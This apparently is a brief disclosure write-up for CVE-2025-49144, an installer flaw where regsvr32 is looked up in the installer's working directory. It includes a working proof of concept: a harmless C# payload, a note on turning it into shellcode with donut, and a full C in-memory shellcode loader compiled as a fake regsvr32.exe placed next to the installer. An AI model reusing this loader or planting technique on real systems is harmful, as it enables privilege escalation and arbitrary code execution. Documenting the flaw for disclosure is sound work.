The vulnerability stems from how the installer checks for the regsvr32. During Dynamic Analysis I've found that it first tries to find it in the working directory of the installer, meaning that the PATH is not quoted, thus not absolute.

Writing the PoC I decided to simply write a .cs file:

using System.IO;
public class PoC {
    public static void Main() {
        File.WriteAllText(@"C:\Windows\Temp\NOTEPAD_VULNERABIL.txt", "Acest fisier demonstreaza executia de cod cu privilegii de SYSTEM.");
    }
}

Then convert it into shellcode with donut, storing it in a header file. Wrote a small C code to load that shellcode in memory:

#include <windows.h>
#include "payload.h"

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    
    unsigned int payload_len = sizeof(payload);

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (exec_mem == NULL) {
        return 1;
    }

    RtlMoveMemory(exec_mem, payload, payload_len);

    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}

Compiled it as regsvr32.exe and stored it in the same folder with the installer.

cve-2025-49144

Most Popular